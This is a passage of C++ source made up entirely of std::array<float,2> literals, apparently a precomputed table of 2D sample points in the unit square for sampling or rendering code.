std::array<float,2>{0.520315111f, 0.489169568f}, std::array<float,2>{0.485992253f, 0.557416737f}, std::array<float,2>{0.99673748f, 0.964619637f}, std::array<float,2>{0.184098467f, 0.227613047f}, std::array<float,2>{0.663228512f, 0.133642897f}, std::array<float,2>{0.279159576f, 0.917583764f}, std::array<float,2>{0.800584853f, 0.58098954f}, std::array<float,2>{0.0752944648f, 0.392355859f}, std::array<float,2>{0.929097354f, 0.260631621f}, std::array<float,2>{0.194198012f, 0.626562834f}, std::array<float,2>{0.605724096f, 0.779240251f}, std::array<float,2>{0.409494489f, 0.0949921757f}, std::array<float,2>{0.951214552f, 0.192474544f}, std::array<float,2>{0.13535817f, 0.978655398f}, std::array<float,2>{0.547884226f, 0.507045925f}, std::array<float,2>{0.444820523f, 0.440278947f}, std::array<float,2>{0.72473079f, 0.371339202f}, std::array<float,2>{0.34755832f, 0.722198129f}, std::array<float,2>{0.827304959f, 0.835440695f}, std::array<float,2>{0.0510559306f, 0.0283271782f}, std::array<float,2>{0.567194164f, 0.0883213878f}, std::array<float,2>{0.377502143f, 0.801833153f}, std::array<float,2>{0.894764662f, 0.65794456f}, std::array<float,2>{0.242273912f, 0.285147518f}, std::array<float,2>{0.77454561f, 0.413783193f}, std::array<float,2>{0.103490636f, 0.60490191f}, std::array<float,2>{0.626986802f, 0.89719367f}, std::array<float,2>{0.294901699f, 0.177927673f}, std::array<float,2>{0.795128167f, 0.169888273f}, std::array<float,2>{0.0931445435f, 0.890404046f}, std::array<float,2>{0.676512659f, 0.615368664f}, std::array<float,2>{0.251623511f, 0.42633304f}, std::array<float,2>{0.623788774f, 0.299311042f}, std::array<float,2>{0.429665357f, 0.68723917f}, std::array<float,2>{0.9107849f, 0.782850564f}, std::array<float,2>{0.208919749f, 0.0636647418f}, std::array<float,2>{0.702095151f, 0.00827279594f}, std::array<float,2>{0.327392071f, 0.818495095f}, std::array<float,2>{0.847922564f, 0.74469471f}, std::array<float,2>{0.028707277f, 0.350676298f}, std::array<float,2>{0.981805325f, 0.467963904f}, std::array<float,2>{0.170338541f, 0.528316975f}, std::array<float,2>{0.51285392f, 0.999548137f}, std::array<float,2>{0.478518188f, 0.217139199f}, std::array<float,2>{0.88527441f, 0.124284357f}, std::array<float,2>{0.224044621f, 0.755030036f}, std::array<float,2>{0.579491317f, 0.656011641f}, std::array<float,2>{0.392973632f, 0.275385737f}, std::array<float,2>{0.655441582f, 0.389607459f}, std::array<float,2>{0.308109045f, 0.569000304f}, std::array<float,2>{0.759534538f, 0.9351843f}, std::array<float,2>{0.111219458f, 0.152977228f}, std::array<float,2>{0.533371389f, 0.249673784f}, std::array<float,2>{0.458450645f, 0.939103961f}, std::array<float,2>{0.956331015f, 0.541691184f}, std::array<float,2>{0.145705834f, 0.476352006f}, std::array<float,2>{0.838156462f, 0.314058244f}, std::array<float,2>{0.0385391265f, 0.688783288f}, std::array<float,2>{0.743190169f, 0.87452513f}, std::array<float,2>{0.367723197f, 0.0612373054f}, std::array<float,2>{0.83287555f, 0.10143593f}, std::array<float,2>{0.0399953388f, 0.776346684f}, std::array<float,2>{0.739927769f, 0.629529059f}, std::array<float,2>{0.361845374f, 0.264261514f}, std::array<float,2>{0.545102537f, 0.397098035f}, std::array<float,2>{0.46664682f, 0.583145678f}, std::array<float,2>{0.96511209f, 0.91970104f}, std::array<float,2>{0.155062109f, 0.13892287f}, std::array<float,2>{0.644896507f, 0.232991382f}, std::array<float,2>{0.298217565f, 0.966904104f}, std::array<float,2>{0.750315666f, 0.560398221f}, std::array<float,2>{0.119474687f, 0.488128722f}, std::array<float,2>{0.875429034f, 0.331981689f}, std::array<float,2>{0.228591681f, 0.71498245f}, std::array<float,2>{0.590396464f, 0.857471406f}, std::array<float,2>{0.405211926f, 0.0417708755f}, std::array<float,2>{0.970700562f, 0.173741758f}, std::array<float,2>{0.161228508f, 0.894339919f}, std::array<float,2>{0.507006466f, 0.607483149f}, std::array<float,2>{0.470345706f, 0.407604814f}, std::array<float,2>{0.694598019f, 0.288961232f}, std::array<float,2>{0.31739834f, 0.664009929f}, std::array<float,2>{0.857719779f, 0.800756574f}, std::array<float,2>{0.0177328866f, 0.0902163908f}, std::array<float,2>{0.610465646f, 0.0242670216f}, std::array<float,2>{0.436252743f, 0.828928947f}, std::array<float,2>{0.917140961f, 0.725495458f}, std::array<float,2>{0.215763003f, 0.370984674f}, std::array<float,2>{0.784942031f, 0.441446632f}, std::array<float,2>{0.0790164322f, 0.501483262f}, std::array<float,2>{0.683755159f, 0.981995046f}, std::array<float,2>{0.26051262f, 0.18930079f}, std::array<float,2>{0.768148661f, 0.212617993f}, std::array<float,2>{0.0942508429f, 0.992242217f}, std::array<float,2>{0.633847058f, 0.525645196f}, std::array<float,2>{0.286502838f, 0.464707881f}, std::array<float,2>{0.572237849f, 0.346382916f}, std::array<float,2>{0.389944851f, 0.749234855f}, std::array<float,2>{0.898467839f, 0.816112578f}, std::array<float,2>{0.23797898f, 0.0146471411f}, std::array<float,2>{0.730335236f, 0.0668880194f}, std::array<float,2>{0.357366592f, 0.788640201f}, std::array<float,2>{0.814402163f, 0.681224108f}, std::array<float,2>{0.0622431897f, 0.302841991f}, std::array<float,2>{0.941120744f, 0.425765038f}, std::array<float,2>{0.129526868f, 0.610015273f}, std::array<float,2>{0.555700719f, 0.88283062f}, std::array<float,2>{0.451890022f, 0.164994881f}, std::array<float,2>{0.933223128f, 0.0579685122f}, std::array<float,2>{0.199139297f, 0.867520809f}, std::array<float,2>{0.595995188f, 0.691528141f}, std::array<float,2>{0.414460391f, 0.318647563f}, std::array<float,2>{0.66728121f, 0.470929205f}, std::array<float,2>{0.270140618f, 0.545710862f}, std::array<float,2>{0.810455024f, 0.943261385f}, std::array<float,2>{0.0684458762f, 0.24440448f}, std::array<float,2>{0.530474246f, 0.150338814f}, std::array<float,2>{0.492545217f, 0.930012405f}, std::array<float,2>{0.99067986f, 0.564590633f}, std::array<float,2>{0.175614253f, 0.386310875f}, std::array<float,2>{0.865551531f, 0.277963012f}, std::array<float,2>{0.0133093623f, 0.65230459f}, std::array<float,2>{0.706936896f, 0.751906276f}, std::array<float,2>{0.331490755f, 0.119618326f}, std::array<float,2>{0.803041637f, 0.000972787035f}, std::array<float,2>{0.0711480677f, 0.823608696f}, std::array<float,2>{0.6581828f, 0.740195572f}, std::array<float,2>{0.275303066f, 0.354639232f}, std::array<float,2>{0.603072166f, 0.460078388f}, std::array<float,2>{0.410413325f, 0.520323038f}, std::array<float,2>{0.924256086f, 0.987744093f}, std::array<float,2>{0.18795906f, 0.209122047f}, std::array<float,2>{0.717758417f, 0.164041206f}, std::array<float,2>{0.339640707f, 0.877485693f}, std::array<float,2>{0.871358693f, 0.622990429f}, std::array<float,2>{0.00558209186f, 0.434035748f}, std::array<float,2>{0.994190097f, 0.312243581f}, std::array<float,2>{0.180969253f, 0.676591873f}, std::array<float,2>{0.518689811f, 0.791699231f}, std::array<float,2>{0.489367038f, 0.0773031712f}, std::array<float,2>{0.891314924f, 0.238529176f}, std::array<float,2>{0.247399434f, 0.950966775f}, std::array<float,2>{0.563108087f, 0.53812319f}, std::array<float,2>{0.382544249f, 0.483125925f}, std::array<float,2>{0.631137073f, 0.324095815f}, std::array<float,2>{0.291832596f, 0.697837353f}, std::array<float,2>{0.777489424f, 0.86432898f}, std::array<float,2>{0.106983148f, 0.0534594432f}, std::array<float,2>{0.553221881f, 0.116978087f}, std::array<float,2>{0.438717127f, 0.762895107f}, std::array<float,2>{0.946681738f, 0.646904409f}, std::array<float,2>{0.137438521f, 0.272663385f}, std::array<float,2>{0.823189139f, 0.379632533f}, std::array<float,2>{0.0471254587f, 0.577936053f}, std::array<float,2>{0.719144046f, 0.923738658f}, std::array<float,2>{0.348305762f, 0.14457345f}, std::array<float,2>{0.845649421f, 0.129592672f}, std::array<float,2>{0.0264925156f, 0.907238543f}, std::array<float,2>{0.696269512f, 0.586763322f}, std::array<float,2>{0.323528975f, 0.405145377f}, std::array<float,2>{0.509042144f, 0.253637403f}, std::array<float,2>{0.483168542f, 0.635359108f}, std::array<float,2>{0.979744673f, 0.76923573f}, std::array<float,2>{0.16472055f, 0.103808343f}, std::array<float,2>{0.675503135f, 0.0351650417f}, std::array<float,2>{0.257165492f, 0.846277237f}, std::array<float,2>{0.790546715f, 0.703891337f}, std::array<float,2>{0.0898072049f, 0.336265236f}, std::array<float,2>{0.906556726f, 0.492329478f}, std::array<float,2>{0.203464031f, 0.548785567f}, std::array<float,2>{0.620863855f, 0.960039139f}, std::array<float,2>{0.423189878f, 0.223258421f}, std::array<float,2>{0.9607777f, 0.0828358606f}, std::array<float,2>{0.14452301f, 0.810941637f}, std::array<float,2>{0.537290633f, 0.670848012f}, std::array<float,2>{0.455724478f, 0.292292684f}, std::array<float,2>{0.748169124f, 0.414815694f}, std::array<float,2>{0.371827185f, 0.60080564f}, std::array<float,2>{0.841593266f, 0.904452682f}, std::array<float,2>{0.0332843326f, 0.181917399f}, std::array<float,2>{0.585108995f, 0.19725652f}, std::array<float,2>{0.397711694f, 0.974631667f}, std::array<float,2>{0.890394628f, 0.513255656f}, std::array<float,2>{0.219701141f, 0.449535906f}, std::array<float,2>{0.761770129f, 0.362597853f}, std::array<float,2>{0.114487372f, 0.727615237f}, std::array<float,2>{0.650871396f, 0.836022794f}, std::array<float,2>{0.311712712f, 0.0207986739f}, std::array<float,2>{0.793134928f, 0.0643642992f}, std::array<float,2>{0.0909058973f, 0.78240335f}, std::array<float,2>{0.678152621f, 0.686612546f}, std::array<float,2>{0.252346098f, 0.299634129f}, std::array<float,2>{0.622719646f, 0.425995946f}, std::array<float,2>{0.427251756f, 0.616195202f}, std::array<float,2>{0.913008451f, 0.889737427f}, std::array<float,2>{0.210546821f, 0.169014245f}, std::array<float,2>{0.699705601f, 0.217434838f}, std::array<float,2>{0.32509315f, 0.999216318f}, std::array<float,2>{0.851508856f, 0.527366161f}, std::array<float,2>{0.030392712f, 0.468595922f}, std::array<float,2>{0.984288037f, 0.351237237f}, std::array<float,2>{0.168096483f, 0.744324803f}, std::array<float,2>{0.513998389f, 0.819000304f}, std::array<float,2>{0.478277206f, 0.0086456174f}, std::array<float,2>{0.883135974f, 0.152519017f}, std::array<float,2>{0.225734323f, 0.93480587f}, std::array<float,2>{0.5801332f, 0.568719923f}, std::array<float,2>{0.391223222f, 0.388845444f}, std::array<float,2>{0.653506219f, 0.274561763f}, std::array<float,2>{0.305652499f, 0.655507147f}, std::array<float,2>{0.760984421f, 0.755696952f}, std::array<float,2>{0.112713404f, 0.124539666f}, std::array<float,2>{0.531603754f, 0.0610193945f}, std::array<float,2>{0.460923672f, 0.874148726f}, std::array<float,2>{0.954748988f, 0.689348578f}, std::array<float,2>{0.147491351f, 0.313588142f}, std::array<float,2>{0.837442219f, 0.475881875f}, std::array<float,2>{0.0354538001f, 0.54106611f}, std::array<float,2>{0.744301856f, 0.938806236f}, std::array<float,2>{0.369615376f, 0.249366254f}, std::array<float,2>{0.870476007f, 0.228185728f}, std::array<float,2>{0.000698079821f, 0.964014471f}, std::array<float,2>{0.712879002f, 0.556659222f}, std::array<float,2>{0.34327969f, 0.488461524f}, std::array<float,2>{0.523126423f, 0.335729837f}, std::array<float,2>{0.487833649f, 0.713052571f}, std::array<float,2>{0.998108149f, 0.855062604f}, std::array<float,2>{0.185684249f, 0.0450801589f}, std::array<float,2>{0.660503089f, 0.0957001299f}, std::array<float,2>{0.280540645f, 0.778386056f}, std::array<float,2>{0.798064232f, 0.625994325f}, std::array<float,2>{0.0764762685f, 0.259801954f}, std::array<float,2>{0.926661611f, 0.391873449f}, std::array<float,2>{0.192525655f, 0.580550194f}, std::array<float,2>{0.608690679f, 0.917424738f}, std::array<float,2>{0.406738698f, 0.132867694f}, std::array<float,2>{0.949748158f, 0.0288794748f}, std::array<float,2>{0.134707943f, 0.835692823f}, std::array<float,2>{0.550592303f, 0.721978724f}, std::array<float,2>{0.4420138f, 0.372035593f}, std::array<float,2>{0.723888516f, 0.439453483f}, std::array<float,2>{0.344919086f, 0.507615685f}, std::array<float,2>{0.825945139f, 0.979405284f}, std::array<float,2>{0.0539798401f, 0.193054333f}, std::array<float,2>{0.56838727f, 0.17835775f}, std::array<float,2>{0.37632212f, 0.896880448f}, std::array<float,2>{0.897697806f, 0.605245233f}, std::array<float,2>{0.24438338f, 0.413180649f}, std::array<float,2>{0.776616633f, 0.284406662f}, std::array<float,2>{0.104148246f, 0.657481432f}, std::array<float,2>{0.625433743f, 0.802275538f}, std::array<float,2>{0.296484172f, 0.0884349421f}, std::array<float,2>{0.820248604f, 0.0325864963f}, std::array<float,2>{0.0574581698f, 0.851371944f}, std::array<float,2>{0.732818246f, 0.709436595f}, std::array<float,2>{0.354196608f, 0.343043715f}, std::array<float,2>{0.559322178f, 0.497915268f}, std::array<float,2>{0.445377231f, 0.551036716f}, std::array<float,2>{0.944420516f, 0.954665959f}, std::array<float,2>{0.128132552f, 0.221014962f}, std::array<float,2>{0.63818568f, 0.126741797f}, std::array<float,2>{0.281770378f, 0.912943006f}, std::array<float,2>{0.771621823f, 0.590492249f}, std::array<float,2>{0.0987135246f, 0.400948375f}, std::array<float,2>{0.905198634f, 0.256010443f}, std::array<float,2>{0.23918654f, 0.640312552f}, std::array<float,2>{0.576976717f, 0.7724455f}, std::array<float,2>{0.383046508f, 0.108476199f}, std::array<float,2>{0.987543464f, 0.201148182f}, std::array<float,2>{0.178816408f, 0.969557166f}, std::array<float,2>{0.524490476f, 0.508043528f}, std::array<float,2>{0.497497439f, 0.447254717f}, std::array<float,2>{0.708474159f, 0.3658261f}, std::array<float,2>{0.335704267f, 0.733207643f}, std::array<float,2>{0.862089932f, 0.841599166f}, std::array<float,2>{0.0110720852f, 0.0182416737f}, std::array<float,2>{0.598544836f, 0.0809930041f}, std::array<float,2>{0.418299586f, 0.808226705f}, std::array<float,2>{0.93474108f, 0.666955054f}, std::array<float,2>{0.201260775f, 0.296142548f}, std::array<float,2>{0.805998206f, 0.419306993f}, std::array<float,2>{0.0631610602f, 0.596428037f}, std::array<float,2>{0.670534074f, 0.901325285f}, std::array<float,2>{0.266848117f, 0.183623493f}, std::array<float,2>{0.75703007f, 0.158917159f}, std::array<float,2>{0.123114966f, 0.879246056f}, std::array<float,2>{0.644486189f, 0.618960559f}, std::array<float,2>{0.302234381f, 0.430520087f}, std::array<float,2>{0.586188793f, 0.307951003f}, std::array<float,2>{0.401365608f, 0.674809396f}, std::array<float,2>{0.881349444f, 0.793793976f}, std::array<float,2>{0.231105164f, 0.0719181299f}, std::array<float,2>{0.736137331f, 0.00448416313f}, std::array<float,2>{0.36650911f, 0.826788008f}, std::array<float,2>{0.830069065f, 0.738104701f}, std::array<float,2>{0.0458473936f, 0.359129369f}, std::array<float,2>{0.961463928f, 0.454589427f}, std::array<float,2>{0.15226151f, 0.519369781f}, std::array<float,2>{0.541327477f, 0.991095901f}, std::array<float,2>{0.464303702f, 0.203551605f}, std::array<float,2>{0.919763982f, 0.112317696f}, std::array<float,2>{0.213792548f, 0.760696113f}, std::array<float,2>{0.616847456f, 0.641675353f}, std::array<float,2>{0.433011472f, 0.269140512f}, std::array<float,2>{0.681625426f, 0.378826916f}, std::array<float,2>{0.261730075f, 0.573384702f}, std::array<float,2>{0.788114429f, 0.928395033f}, std::array<float,2>{0.0831539854f, 0.143742427f}, std::array<float,2>{0.500914156f, 0.237740904f}, std::array<float,2>{0.472723007f, 0.948972404f}, std::array<float,2>{0.973167121f, 0.532407403f}, std::array<float,2>{0.157222688f, 0.478954583f}, std::array<float,2>{0.853536129f, 0.325422913f}, std::array<float,2>{0.0212363917f, 0.702456534f}, std::array<float,2>{0.689365685f, 0.863195837f}, std::array<float,2>{0.312500834f, 0.0488796532f}, std::array<float,2>{0.846093178f, 0.10442055f}, std::array<float,2>{0.0236301422f, 0.768867552f}, std::array<float,2>{0.697494626f, 0.635112822f}, std::array<float,2>{0.321554691f, 0.253104687f}, std::array<float,2>{0.51023674f, 0.404613405f}, std::array<float,2>{0.48080194f, 0.586190045f}, std::array<float,2>{0.977982998f, 0.907760203f}, std::array<float,2>{0.167767614f, 0.129117981f}, std::array<float,2>{0.672272682f, 0.222751886f}, std::array<float,2>{0.25514105f, 0.960824311f}, std::array<float,2>{0.792949259f, 0.548083007f}, std::array<float,2>{0.0870098025f, 0.493136704f}, std::array<float,2>{0.908495069f, 0.336587757f}, std::array<float,2>{0.206842795f, 0.703206658f}, std::array<float,2>{0.617766201f, 0.845738292f}, std::array<float,2>{0.425017476f, 0.0360579081f}, std::array<float,2>{0.958590329f, 0.182387143f}, std::array<float,2>{0.141070396f, 0.905130208f}, std::array<float,2>{0.535308778f, 0.601235151f}, std::array<float,2>{0.454711318f, 0.414183885f}, std::array<float,2>{0.748010576f, 0.292511106f}, std::array<float,2>{0.374002904f, 0.669949412f}, std::array<float,2>{0.84351331f, 0.811330378f}, std::array<float,2>{0.0319535471f, 0.0824112594f}, std::array<float,2>{0.582734227f, 0.0210094992f}, std::array<float,2>{0.394654423f, 0.836826026f}, std::array<float,2>{0.887233317f, 0.72825706f}, std::array<float,2>{0.221982688f, 0.363105834f}, std::array<float,2>{0.764803708f, 0.450128406f}, std::array<float,2>{0.115376428f, 0.512865841f}, std::array<float,2>{0.649050772f, 0.975170374f}, std::array<float,2>{0.309774786f, 0.196577847f}, std::array<float,2>{0.801427543f, 0.209480345f}, std::array<float,2>{0.0722910538f, 0.988119483f}, std::array<float,2>{0.659490764f, 0.519569755f}, std::array<float,2>{0.275866985f, 0.460723162f}, std::array<float,2>{0.603923917f, 0.355233252f}, std::array<float,2>{0.413723618f, 0.739535511f}, std::array<float,2>{0.922624588f, 0.823743999f}, std::array<float,2>{0.190953746f, 0.000450760155f}, std::array<float,2>{0.716183007f, 0.0780368075f}, std::array<float,2>{0.336378545f, 0.791126668f}, std::array<float,2>{0.874030948f, 0.675859451f}, std::array<float,2>{0.00647089863f, 0.311953068f}, std::array<float,2>{0.994041085f, 0.434141934f}, std::array<float,2>{0.181931168f, 0.622454047f}, std::array<float,2>{0.516347229f, 0.877040207f}, std::array<float,2>{0.491071373f, 0.163325235f}, std::array<float,2>{0.894263804f, 0.0531238317f}, std::array<float,2>{0.248326883f, 0.86499685f}, std::array<float,2>{0.565834343f, 0.697667956f}, std::array<float,2>{0.380707651f, 0.323650062f}, std::array<float,2>{0.62963891f, 0.482809693f}, std::array<float,2>{0.289674073f, 0.538904011f}, std::array<float,2>{0.779331386f, 0.950357318f}, std::array<float,2>{0.108608432f, 0.23899053f}, std::array<float,2>{0.552116394f, 0.14545618f}, std::array<float,2>{0.441301584f, 0.923257232f}, std::array<float,2>{0.947389722f, 0.577537119f}, std::array<float,2>{0.138948977f, 0.379385352f}, std::array<float,2>{0.82051158f, 0.273221076f}, std::array<float,2>{0.0506882481f, 0.647356987f}, std::array<float,2>{0.721449435f, 0.76365757f}, std::array<float,2>{0.351104558f, 0.116288833f}, std::array<float,2>{0.767062008f, 0.0137080019f}, std::array<float,2>{0.0966092274f, 0.815692186f}, std::array<float,2>{0.636013985f, 0.749563217f}, std::array<float,2>{0.287317246f, 0.345976233f}, std::array<float,2>{0.573512077f, 0.463869303f}, std::array<float,2>{0.386872172f, 0.525895417f}, std::array<float,2>{0.901727915f, 0.993057132f}, std::array<float,2>{0.23454605f, 0.211949527f}, std::array<float,2>{0.727582514f, 0.164537609f}, std::array<float,2>{0.359269321f, 0.883753419f}, std::array<float,2>{0.81453687f, 0.609770358f}, std::array<float,2>{0.0589491911f, 0.424913168f}, std::array<float,2>{0.938879728f, 0.303334326f}, std::array<float,2>{0.130876765f, 0.680888176f}, std::array<float,2>{0.556712806f, 0.788487434f}, std::array<float,2>{0.450023174f, 0.0672272444f}, std::array<float,2>{0.93093729f, 0.24495323f}, std::array<float,2>{0.196912661f, 0.942535162f}, std::array<float,2>{0.594043553f, 0.545154452f}, std::array<float,2>{0.416627645f, 0.471541345f}, std::array<float,2>{0.664806485f, 0.319295436f}, std::array<float,2>{0.273135632f, 0.692265451f}, std::array<float,2>{0.811286032f, 0.868005812f}, std::array<float,2>{0.0669516176f, 0.0585196093f}, std::array<float,2>{0.527998567f, 0.120008223f}, std::array<float,2>{0.494247943f, 0.751086712f}, std::array<float,2>{0.989917278f, 0.651556611f}, std::array<float,2>{0.172133967f, 0.27770707f}, std::array<float,2>{0.864772439f, 0.3857885f}, std::array<float,2>{0.0145967407f, 0.564952314f}, std::array<float,2>{0.704012752f, 0.930545568f}, std::array<float,2>{0.328149021f, 0.14965488f}, std::array<float,2>{0.835484922f, 0.139604166f}, std::array<float,2>{0.042775616f, 0.919378161f}, std::array<float,2>{0.742004633f, 0.583751619f}, std::array<float,2>{0.360113859f, 0.3965137f}, std::array<float,2>{0.544156253f, 0.263756603f}, std::array<float,2>{0.46741578f, 0.62920481f}, std::array<float,2>{0.967095077f, 0.775877714f}, std::array<float,2>{0.153768227f, 0.100838654f}, std::array<float,2>{0.647193193f, 0.0410770401f}, std::array<float,2>{0.300069213f, 0.858266413f}, std::array<float,2>{0.752764165f, 0.715737939f}, std::array<float,2>{0.117831923f, 0.331205219f}, std::array<float,2>{0.878305078f, 0.487382382f}, std::array<float,2>{0.227556676f, 0.559626043f}, std::array<float,2>{0.592862546f, 0.967597008f}, std::array<float,2>{0.404284984f, 0.232628092f}, std::array<float,2>{0.972614229f, 0.0905660316f}, std::array<float,2>{0.16393739f, 0.800070643f}, std::array<float,2>{0.50531888f, 0.663264334f}, std::array<float,2>{0.471271545f, 0.288354903f}, std::array<float,2>{0.691662192f, 0.408034295f}, std::array<float,2>{0.319874942f, 0.608067274f}, std::array<float,2>{0.857125044f, 0.893771231f}, std::array<float,2>{0.0161694065f, 0.173281789f}, std::array<float,2>{0.612014949f, 0.188919321f}, std::array<float,2>{0.435490727f, 0.981844366f}, std::array<float,2>{0.915204525f, 0.501329422f}, std::array<float,2>{0.218067586f, 0.441948026f}, std::array<float,2>{0.782514155f, 0.370472461f}, std::array<float,2>{0.0803703889f, 0.724675238f}, std::array<float,2>{0.687218785f, 0.828240037f}, std::array<float,2>{0.258687288f, 0.023660209f}, std::array<float,2>{0.758950531f, 0.121458866f}, std::array<float,2>{0.110720351f, 0.757426143f}, std::array<float,2>{0.65622431f, 0.654016912f}, std::array<float,2>{0.307835191f, 0.276205838f}, std::array<float,2>{0.579843462f, 0.388588995f}, std::array<float,2>{0.393296599f, 0.566686392f}, std::array<float,2>{0.884991825f, 0.935829222f}, std::array<float,2>{0.224393144f, 0.154918924f}, std::array<float,2>{0.743893743f, 0.247883171f}, std::array<float,2>{0.36725235f, 0.940638542f}, std::array<float,2>{0.838411629f, 0.540249646f}, std::array<float,2>{0.0388378128f, 0.474069625f}, std::array<float,2>{0.956620932f, 0.314798594f}, std::array<float,2>{0.146203503f, 0.690130353f}, std::array<float,2>{0.533954918f, 0.871304452f}, std::array<float,2>{0.458884895f, 0.0596345402f}, std::array<float,2>{0.910616696f, 0.171455652f}, std::array<float,2>{0.208068803f, 0.888545036f}, std::array<float,2>{0.62344259f, 0.613772094f}, std::array<float,2>{0.428952694f, 0.428174764f}, std::array<float,2>{0.676118255f, 0.298376948f}, std::array<float,2>{0.251111686f, 0.685214221f}, std::array<float,2>{0.795579731f, 0.783476233f}, std::array<float,2>{0.0932679176f, 0.0646855608f}, std::array<float,2>{0.513300717f, 0.0109957252f}, std::array<float,2>{0.479446799f, 0.817068636f}, std::array<float,2>{0.982008576f, 0.743152738f}, std::array<float,2>{0.170504972f, 0.348799318f}, std::array<float,2>{0.848384798f, 0.465038627f}, std::array<float,2>{0.0291066132f, 0.530651152f}, std::array<float,2>{0.701289237f, 0.996496797f}, std::array<float,2>{0.3279351f, 0.215106785f}, std::array<float,2>{0.828097463f, 0.194505528f}, std::array<float,2>{0.0516355559f, 0.978370368f}, std::array<float,2>{0.725302994f, 0.50402838f}, std::array<float,2>{0.34673366f, 0.439181477f}, std::array<float,2>{0.548573732f, 0.37455526f}, std::array<float,2>{0.445241064f, 0.719959497f}, std::array<float,2>{0.952086568f, 0.833001971f}, std::array<float,2>{0.134786576f, 0.0295156222f}, std::array<float,2>{0.627866685f, 0.0878140554f}, std::array<float,2>{0.294078857f, 0.803870797f}, std::array<float,2>{0.774974465f, 0.658366323f}, std::array<float,2>{0.102571078f, 0.282723039f}, std::array<float,2>{0.895412922f, 0.411824077f}, std::array<float,2>{0.242738262f, 0.60279882f}, std::array<float,2>{0.566593945f, 0.895747423f}, std::array<float,2>{0.377074003f, 0.176703244f}, std::array<float,2>{0.996173263f, 0.0440559424f}, std::array<float,2>{0.18379882f, 0.852073491f}, std::array<float,2>{0.519738197f, 0.712634683f}, std::array<float,2>{0.485521853f, 0.332661659f}, std::array<float,2>{0.714488626f, 0.490402639f}, std::array<float,2>{0.340253472f, 0.556616783f}, std::array<float,2>{0.868938565f, 0.961808085f}, std::array<float,2>{0.00275326543f, 0.23002626f}, std::array<float,2>{0.606287837f, 0.134933114f}, std::array<float,2>{0.409858227f, 0.914204717f}, std::array<float,2>{0.929516733f, 0.579305172f}, std::array<float,2>{0.193455994f, 0.393341929f}, std::array<float,2>{0.79998982f, 0.259705871f}, std::array<float,2>{0.0761646926f, 0.628414214f}, std::array<float,2>{0.663581192f, 0.781124294f}, std::array<float,2>{0.278687716f, 0.0957451463f}, std::array<float,2>{0.860567272f, 0.0171266254f}, std::array<float,2>{0.00852832384f, 0.841844618f}, std::array<float,2>{0.709933341f, 0.731970072f}, std::array<float,2>{0.333672822f, 0.364548862f}, std::array<float,2>{0.52691865f, 0.449015081f}, std::array<float,2>{0.499524504f, 0.511351228f}, std::array<float,2>{0.985942006f, 0.97253859f}, std::array<float,2>{0.17751579f, 0.202574208f}, std::array<float,2>{0.669466496f, 0.187028617f}, std::array<float,2>{0.268065959f, 0.898962438f}, std::array<float,2>{0.808039665f, 0.594564557f}, std::array<float,2>{0.0654696152f, 0.421580136f}, std::array<float,2>{0.936713278f, 0.293100297f}, std::array<float,2>{0.19964157f, 0.664983749f}, std::array<float,2>{0.600803256f, 0.806325793f}, std::array<float,2>{0.421646506f, 0.0781773478f}, std::array<float,2>{0.94148922f, 0.218854681f}, std::array<float,2>{0.126018882f, 0.95685935f}, std::array<float,2>{0.561562121f, 0.554121554f}, std::array<float,2>{0.448328733f, 0.499946415f}, std::array<float,2>{0.730645418f, 0.340225846f}, std::array<float,2>{0.352594107f, 0.707772195f}, std::array<float,2>{0.817979932f, 0.848514915f}, std::array<float,2>{0.0549191795f, 0.0343923904f}, std::array<float,2>{0.574996352f, 0.105625585f}, std::array<float,2>{0.386268705f, 0.770575047f}, std::array<float,2>{0.90375638f, 0.637737989f}, std::array<float,2>{0.240403995f, 0.255567014f}, std::array<float,2>{0.770561218f, 0.39954716f}, std::array<float,2>{0.100111358f, 0.593569338f}, std::array<float,2>{0.640166163f, 0.911288738f}, std::array<float,2>{0.283844054f, 0.127392501f}, std::array<float,2>{0.786775351f, 0.140793085f}, std::array<float,2>{0.0852714479f, 0.926673114f}, std::array<float,2>{0.683130622f, 0.571705163f}, std::array<float,2>{0.263686031f, 0.375282735f}, std::array<float,2>{0.613841116f, 0.266903311f}, std::array<float,2>{0.431356788f, 0.644401014f}, std::array<float,2>{0.920636773f, 0.758601606f}, std::array<float,2>{0.212495193f, 0.110269904f}, std::array<float,2>{0.690859139f, 0.0469183624f}, std::array<float,2>{0.315971226f, 0.860009074f}, std::array<float,2>{0.852910101f, 0.699703753f}, std::array<float,2>{0.0232492425f, 0.328052372f}, std::array<float,2>{0.975699067f, 0.478110045f}, std::array<float,2>{0.159781486f, 0.533985138f}, std::array<float,2>{0.503279209f, 0.947137892f}, std::array<float,2>{0.476337761f, 0.235953689f}, std::array<float,2>{0.880242169f, 0.0725511312f}, std::array<float,2>{0.233609453f, 0.795162916f}, std::array<float,2>{0.589807391f, 0.673720777f}, std::array<float,2>{0.399884701f, 0.306063265f}, std::array<float,2>{0.642134547f, 0.432789803f}, std::array<float,2>{0.303610951f, 0.62107259f}, std::array<float,2>{0.755348861f, 0.88168323f}, std::array<float,2>{0.122281559f, 0.156737596f}, std::array<float,2>{0.539713562f, 0.205303401f}, std::array<float,2>{0.461847752f, 0.988593757f}, std::array<float,2>{0.964273453f, 0.5169366f}, std::array<float,2>{0.149002075f, 0.456738591f}, std::array<float,2>{0.830830872f, 0.356701434f}, std::array<float,2>{0.0435691923f, 0.735039353f}, std::array<float,2>{0.737672985f, 0.825685263f}, std::array<float,2>{0.363763392f, 0.00623956742f}, std::array<float,2>{0.841142237f, 0.0855082646f}, std::array<float,2>{0.033760082f, 0.809307814f}, std::array<float,2>{0.749008715f, 0.668611288f}, std::array<float,2>{0.371329844f, 0.290809393f}, std::array<float,2>{0.537686646f, 0.417027056f}, std::array<float,2>{0.455373377f, 0.598506272f}, std::array<float,2>{0.960175157f, 0.903856397f}, std::array<float,2>{0.143852383f, 0.181298569f}, std::array<float,2>{0.651319802f, 0.198051572f}, std::array<float,2>{0.312270671f, 0.973754466f}, std::array<float,2>{0.762228727f, 0.514213026f}, std::array<float,2>{0.114825718f, 0.452156007f}, std::array<float,2>{0.889743328f, 0.360050052f}, std::array<float,2>{0.218921274f, 0.728812218f}, std::array<float,2>{0.585567951f, 0.839460135f}, std::array<float,2>{0.398341537f, 0.0216526948f}, std::array<float,2>{0.980175436f, 0.131038353f}, std::array<float,2>{0.164463252f, 0.909673274f}, std::array<float,2>{0.509338558f, 0.589396656f}, std::array<float,2>{0.482844532f, 0.40331009f}, std::array<float,2>{0.695704162f, 0.25175643f}, std::array<float,2>{0.323866159f, 0.633988976f}, std::array<float,2>{0.845102906f, 0.766361058f}, 